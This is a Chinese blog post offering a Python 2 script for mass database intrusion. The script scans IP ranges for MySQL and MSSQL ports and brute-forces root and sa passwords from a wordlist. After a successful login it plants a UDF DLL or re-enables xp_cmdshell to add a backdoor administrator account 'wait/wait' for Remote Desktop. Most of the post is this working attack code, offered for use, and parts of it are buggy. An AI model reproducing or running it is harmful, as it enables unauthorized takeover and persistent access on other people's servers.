眼看要到十一国庆小长假了，打算长假前写篇文章，巧合看到一篇老博文，dub ZJ居然要价七千，所以干脆写一个数据库ZJ脚本。
利用以下几点：
获取3306端口是否开放，开放后猜测root密码，密码猜测成功后，执行写入udf.dll，利用udf添加账号密码 。
获取1433端口是否开放，开放后猜测sa密码，密码猜测成功后，执行xp_cmdshell，2005以上就默认关闭了，获取sa权限之后重新开启，但还是需要在2008之前，利用xp_cmdshell写入远程账号密码。不过当用户已AUTHORITY\NetworkService登陆时时（mssql2005express版默认）无法执行net user命令添加用户。只考虑了开启或者关闭xp_cmdshell的情况，删除的话暂不处理。
以上只针对Windows系统，数据库版本不高。
之所以采用这两种形式，一旦可以写入的话，即便没开启远程桌面，也可以利用udf或者xp_cmdshell开启远程桌面。
本地需要ip.txt 写入测试的IP网段，成功的会写入本地mysql，或者mssql 的txt文件。
如此，直接上代码，本地测试mysql没发现问题，如有考虑不周的或者认识错误的请告知。
#coding:utf-8 import MySQLdb import pymssql import IPy import threading import Queue import socket import binascii class thread(threading.Thread): def __init__(self,queue): threading.Thread.__init__(self) self._queue = queue def run(self): while not self._queue.empty(): queue = self._queue.get(timeout=0.5) try: sock = socket.socket() sock.settimeout(2) try: sock.connect((queue, 3306)) print u"检测到" + queue + u":3306端口开放，测试中。。。" self.mysql(queue) except: print queue + u':3306 端口关闭' try: sock.connect((queue, 1433)) print u"检测到" + queue + u":1433端口开放，测试中。。。" self.mssql(queue) except: print queue + u':1433 端口关闭' except: continue def mysql(self,queue): with open('mm.txt','r') as f: file = f.readlines() for mm in file: try: db = MySQLdb.connect(queue, "root", mm.strip('\n'), "mysql", connect_timeout=2) print u"爆破%s:3306端口成功，账号密码为: root/%s" %(queue, mm.strip('\n')) cursor = db.cursor() cursor.execute("SELECT VERSION()") data = cursor.fetchone() udf = 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if (data[0][0] < 5) or ((data[0][0] == 5) and (data[0][2] <= 1)): try: basedir = "select '%s' into dumpfile 'c:\\windows\\system32\\udf.dll';" %udf cursor.execute(basedir) cursor.execute("create function sys_eval returns string soname 'udf.dll';") cursor.execute("select cmdshell('net user wait wait /add');") cursor.execute("select cmdshell('net localgroup administrators wait /add');") with open("mysql.txt", 'a') as fs: fs.write(queue + u":3306 账号密码为 root/%s, 远程桌面账号密码为 wait/wait"+'\n') % mm print queue + u" udf 创建成功生成远程账号密码为：wait/wait" except: print u"udf执行失败" else: try: cursor.execute("select @@basedir;") dir = cursor.fetchone() basedir1 = "select 'plugin' into dumpfile '%s';" %(dir[0]+"lib/plugin::$INDEX_ALLOCATION") basedir2 = "select '%s' into dumpfile '%s';" %(udf, dir[0]+"lib/plugin/udf.dll") cursor.execute(basedir1) cursor.execute(basedir2) cursor.execute("create function sys_eval returns string soname 'udf.dll';") cursor.execute("select cmdshell('net user wait wait /add');") cursor.execute("select cmdshell('net localgroup administrators wait /add');") with open("mysql.txt", 'a') as fs: fs.write(queue + u":3306 账号密码为 root/%s, 远程桌面账号密码为 wait/wait"+'\n') % mm print queue + u" udf 创建成功生成远程账号密码为：wait/wait" except: print u"udf执行失败" db.close() break except: continue def mssql(self,queue): with open('mm.txt','r') as f: file = f.readlines() for mm in file: try: db = pymssql.connect(host=queue, user="sa", password=mm.strip('\n'), database="master", connect_timeout=2) print u"爆破%s:1433端口成功，账号密码为: sa/%s" %(queue, mm.strip('\n')) cursor = db.cursor() try: cursor.execute("exec master..xp_cmdshell 'whoami';") except: cursor.execute("EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;") try: cursor.execute("exec master..xp_cmdshell 'net user wait wait /add';") cursor.execute("exec master..xp_cmdshell 'net user administrators wait /add';") with open("mssql.txt",'a') as fs: fs.write(queue+":1433 账号密码为 sa/%s, 远程桌面账号密码为 wait/wait"+'\n') % mm.strip('\n') except: print queue + u" xp_cmdshell 执行失败" db.close() except: continue def main(): queue = Queue.Queue() threads = [] with open("ip.txt") as f: file = f.readlines() for i in file: ip = i.strip('\n') for x in IPy.IP(ip): queue.put(x) for i in xrange(1): threads.append(thread(queue)) for i in threads: i.start() for i in threads: i.join() if __name__ == "__main__": main()